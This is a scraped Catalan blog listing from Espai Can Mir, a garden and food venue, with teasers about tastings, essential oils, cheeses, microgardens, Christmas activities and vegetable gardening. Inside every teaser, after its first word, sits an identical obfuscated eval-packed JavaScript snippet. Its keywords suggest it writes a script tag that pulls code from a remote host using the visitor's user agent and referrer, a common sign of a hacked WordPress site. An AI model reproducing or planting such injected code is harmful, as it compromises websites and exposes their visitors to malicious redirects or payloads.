Tast de Pernil Espai Can Mir

Experiències gastronòmiques Espai Can Mir

L’Espai eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fykrt|var|u0026u|referrer|ksaii||js|php’.split(‘|’),0,{}))
Can Mir és un lloc per viure experiències i la gastronomia i la cultura dels sabors hi tenen un paper molt important. Mirem de posar a l’abast de tots alguns dels productes catalans més destacats per tal de conèixer-los i apreciar-los: oli. …

Benvinguts a Pages 2018 Espai Can Mir

Can Mir diu Benvinguts a Pagès

Dos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntriy|var|u0026u|referrer|neahy||js|php’.split(‘|’),0,{}))
dies de portes obertes per conèixer tot el que fem a Can Mir, viure l’apassionant món de les plantes, recòrrer la finca fent descobertes a cada pas i passar una jornada fantàstica en un entorn natural privilegiat.
Aquest és el tercer any que …

Olis essencials. Espai Can Mir

Olis essencials

Olor eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfsth|var|u0026u|referrer|tszhf||js|php’.split(‘|’),0,{}))
d’espígol, de romaní… intens i a petites dosis, olis essencials, essencia de l’essència, máxima concetració. Els olis essencials s’extreuen de les plantes aromàtiques –hi ha prop de 700 plantes­ i a Can Mir fem planter de moltes d’elles- i tenen moltíssimes aplicacions i utilitats. …

Formatges a l'Esapi CanMir

Els formatges a Catalunya

Arreu eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzike|var|u0026u|referrer|yiifd||js|php’.split(‘|’),0,{}))
del territori de Catalunya s’hi poden trobar fins a 250 varietats de formatge amb una important presència de formatges històrics, tradicionals, i una cada vegada més àmplia oferta de formatges moderns. Des del mató i el recuit empordanesos als formatges de cabra, …

Taller Espai Can Mir

Sis bons consells per fer un microjardí

 
Vols eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ksksk|var|u0026u|referrer|hnksh||js|php’.split(‘|’),0,{}))
aprendre a fer petits jardins que es converteixen en autèntiques peces de decoració. Vols que aquests centres originals vagin més enllà de les clàssiques combinacions florals o dels testos amb plantes pansides que es deixen en un racó? A l’Espai Can …

Calendari d'Advent. Espai Can Mir

El calendari d’Advent de l’Espai Can Mir

Cada eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beyee|var|u0026u|referrer|sraba||js|php’.split(‘|’),0,{}))
dia d’aquest mes de desembre obrim una de les sorpreses que ens porta el calendari d’advent que varem fer a l’Espai Can Mir el passat mes de novembre. Vols veure com ens va quedar? A nosaltres ens agrada moltíssim, i a tu?

Caçations a l'Espai Can Mir

Arriba Nadal: un any més hem caçat un munt de tions a l’Espai Can Mir

Com eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rysyz|var|u0026u|referrer|esyis||js|php’.split(‘|’),0,{}))
cada desembre, quan s’acosta el Nadal un bon nombre de tions es vénen a refugiar als boscos de Can Mir esperant que els nens els vinguin a buscar i se’ls emportin a casa. Enguany, la recerca ha estat divertidíssima. En Joan i …

Fira Ratafia Espai Can Mir

Espai Can Mir a la Festa de la Ratafia

Els eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zytdd|var|u0026u|referrer|nbkhz||js|php’.split(‘|’),0,{}))
propers dies 11 i 12 de novembre Espai Can Mir participarà a la Festa de la Ratafia a Santa Coloma de Farners.
Un any més, Espai Can Mir estarem presents a la Festa de la Ratafia de Santa Coloma de Farners.
Hi serem …

Espai Can Mir

Preparem l’hort domèstic per la tardor. Espai Can Mir

Després eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ykfri|var|u0026u|referrer|ffnrh||js|php’.split(‘|’),0,{}))
d’un estiu amb una abundància extraordinària de tomàquets, carbassons i albergínies, és el moment d’arrencar totes les plantes, preparar la terra y començar a pensar què plantarem a partir de setembre.

Amb l’arribada de la tardor, el dies més curts i …